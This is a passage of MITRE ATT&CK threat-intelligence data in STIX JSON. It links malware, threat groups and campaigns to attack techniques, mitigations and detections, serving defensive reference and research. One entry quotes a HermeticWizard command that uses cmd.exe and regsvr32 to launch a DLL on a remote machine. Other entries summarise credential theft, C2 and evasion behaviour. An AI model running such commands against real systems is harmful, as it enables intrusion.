ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2021-12-15T20:56:25.053Z","description":"[Anchor](https://attack.mitre.org/software/S0504) has obfuscated code with stack strings and string encryption.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--929a1429-88a6-4ac8-b92e-39f242b1e0d6","created":"2023-05-19T19:56:49.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:10:16.370Z","description":"During [C0026](https://attack.mitre.org/campaigns/C0026), the threat actors used WinRAR to collect documents on targeted systems. The threat actors appeared to only exfiltrate files created after January 1, 2021.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92a0aa90-109d-41d7-a08a-6326480d02e6","type":"relationship","created":"2020-03-27T19:51:21.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.","url":"https://adsecurity.org/?p=2288","source_name":"ADSecurity Finding Passwords in SYSVOL"},{"source_name":"MS14-025","url":"https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevati","description":"Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved February 17, 2020."}],"modified":"2020-06-17T14:25:38.414Z","description":"Apply patch KB2962486 which prevents credentials from being stored in GPPs.(Citation: ADSecurity Finding Passwords in SYSVOL)(Citation: MS14-025)","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--92a4392f-5f7d-4299-b4a8-93b14ce1ae7a","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Elastic Masquerade Ball","description":"Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.","url":"https://www.elastic.co/blog/how-hunt-masquerade-ball"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-14T21:12:48.413Z","description":"Collecting disk and resource filenames for binaries, comparing that the InternalName, OriginalFilename, and/or ProductName match what is expected, could provide useful leads but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball)","relationship_type":"detects","source_ref":"x-mitre-data-component--b597a220-6510-4397-b0d8-342cd2c58827","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92a5d02f-8f2e-4744-b030-54f2222bde88","type":"relationship","created":"2019-06-28T13:52:51.431Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2019-07-16T17:12:00.543Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) can collect files from a local system.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92b00f56-c9ac-4e48-9890-40b78ab0c361","type":"relationship","created":"2020-05-26T17:14:42.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Whitefly March 2019","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore","description":"Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."}],"modified":"2020-05-26T17:14:42.930Z","description":"[Whitefly](https://attack.mitre.org/groups/G0107) has used a simple remote shell tool that will call back to the C2 server and wait for commands.(Citation: Symantec Whitefly March 2019)","relationship_type":"uses","source_ref":"intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--92b2d8ea-6a4d-4f23-b474-ccda6fb0bfd8","created":"2022-06-14T15:36:49.371Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Variants of [Kevin](https://attack.mitre.org/software/S1020) can communicate with C2 over HTTP.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-14T15:36:49.371Z","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92b336d0-b976-482f-a1c1-77c002f9bb88","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for newly constructed services/daemons that may attempt to hide artifacts associated with their behaviors to evade detection.","source_ref":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92b34cc0-b059-4294-824f-bb92298f3ae6","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Daserf Nov 2017","description":"Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"}],"modified":"2020-03-16T16:40:40.477Z","description":"[Daserf](https://attack.mitre.org/software/S0187) uses encrypted Windows APIs and also encrypts data using the alternative base64+RC4 or the Caesar cipher.(Citation: Trend Micro Daserf Nov 2017)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--92b7c137-0317-44fa-b1b7-8a7f3ceb6da6","created":"2022-03-25T21:08:25.063Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) can use WMI to create a new process on a remote machine via `C:\\windows\\system32\\cmd.exe /c start C:\\windows\\system32\\\\regsvr32.exe /s /iC:\\windows\\.dll`.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:09:19.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92b8dedc-360a-4763-bc31-5f7b0a698460","type":"relationship","created":"2022-03-21T22:57:40.658Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"modified":"2022-03-21T22:57:40.658Z","description":"[Green Lambert](https://attack.mitre.org/software/S0690) can use proxies for C2 traffic.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021)","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--92bab2d2-bb5a-4102-a9ec-7630153cac50","created":"2024-09-21T07:20:24.798Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-21T07:20:24.798Z","description":"[DUSTPAN](https://attack.mitre.org/software/S1158) decodes and decrypts embedded payloads.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--37487ff6-de2a-4c14-9e8b-ba3b97f78aaf","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--92bc1e7b-6700-4d11-b82e-24284f30c2d7","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T16:50:11.983Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has deleted tmp and prefetch files during post compromise cleanup activities. [FIN8](https://attack.mitre.org/groups/G0061) has also deleted PowerShell scripts to evade detection on compromised machines.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Symantec FIN8 Jul 2023)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--92bea968-016f-4aa7-b58c-8fcc981d9601","created":"2023-05-17T19:28:09.534Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-17T19:28:09.534Z","description":"[KOPILUWAK](https://attack.mitre.org/software/S1075) can use [Arp](https://attack.mitre.org/software/S0099) to discover a target's network configuration setttings.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92c68b65-18b8-44e9-a368-692048ba9611","type":"relationship","created":"2017-05-31T21:33:27.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 3","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"},{"source_name":"Symantec APT28 Oct 2018","url":"https://www.symantec.com/blogs/election-security/apt28-espionage-military-government","description":"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018."},{"source_name":"US District Court Indictment GRU Oct 2018","url":"https://www.justice.gov/opa/page/file/1098481/download","description":"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}],"modified":"2022-03-09T23:29:23.378Z","description":"(Citation: ESET Sednit Part 3)(Citation: Symantec APT28 Oct 2018)(Citation: US District Court Indictment GRU Oct 2018)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--92c6a85d-d8b4-44d2-acf4-53ae07f69f77","created":"2020-08-31T15:15:56.120Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Valak June 2020","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:35:19.732Z","description":"[Valak](https://attack.mitre.org/software/S0476) can use the clientgrabber module to steal e-mail credentials from the Registry.(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92c75170-c01a-4cfd-8861-a85be94e8721","type":"relationship","created":"2019-12-30T21:43:04.880Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-25T23:30:20.849Z","description":"Ensure all application component binaries are signed by the correct application developers. ","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--92c83d10-7e4f-4d4a-9766-b2162ee72cb1","created":"2024-03-13T20:36:08.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T14:06:30.582Z","description":"[Malteiro](https://attack.mitre.org/groups/G1026) has sent spearphishing emails containing malicious .zip files.(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92c901ce-5edb-417f-8af5-d569203e241c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto menuPass Feb 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"},{"source_name":"JPCERT ChChes Feb 2017","description":"Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.","url":"http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html"},{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"}],"modified":"2020-03-17T00:33:11.915Z","description":"[ChChes](https://attack.mitre.org/software/S0144) is capable of downloading files, including additional modules.(Citation: Palo Alto menuPass Feb 2017)(Citation: JPCERT ChChes Feb 2017)(Citation: FireEye APT10 April 2017)","relationship_type":"uses","source_ref":"malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92cd9f7e-cf26-4187-ae92-9751d3d20a53","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--92cf3ea9-3499-4e12-b885-fcb43e0107ff","created":"2022-09-07T19:46:56.596Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:56:07.580Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used a script that ran WMI queries to check if a VM or sandbox was running, including VMWare and Virtualbox. The script would also call WMI to determine the number of cores allocated to the system; if less than two the script would stop execution.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--92cfd4ff-3a37-485a-a0bf-4ee3996da44b","created":"2024-10-08T14:43:49.361Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T14:43:49.361Z","description":"Provide user training on secure practices for managing credentials, including avoiding storing sensitive passwords in browsers and using password managers securely. Users should also be educated on identifying phishing attempts that could steal session cookies or credentials.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92d3b6b0-7c61-452a-a9b9-c2549357bfef","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2018-10-17T00:14:20.652Z","description":"[nbtstat](https://attack.mitre.org/software/S0102) can be used to discover local NetBIOS domain names.","relationship_type":"uses","source_ref":"tool--b35068ec-107a-4266-bda8-eb7036267aea","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--92d7859a-14cd-46dc-80c2-821883d6bee4","created":"2022-09-30T15:35:12.714Z","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T15:35:12.714Z","description":"(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"malware--7e100ca4-e639-48d9-9a9d-8ad84aa7b448","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--92dc3823-559b-422a-b801-4669d53f0135","created":"2022-01-11T14:58:01.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.930Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can use TLS to encrypt its C2 channel.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92dddac1-5eb5-4843-b70d-c3b3592fde63","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. ","source_ref":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92e19c14-504e-402f-b755-08358333cda0","type":"relationship","created":"2020-05-04T19:13:35.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.475Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to stop services on the infected host.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92e35558-f915-4357-b397-3cc7a0412b92","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Linfo May 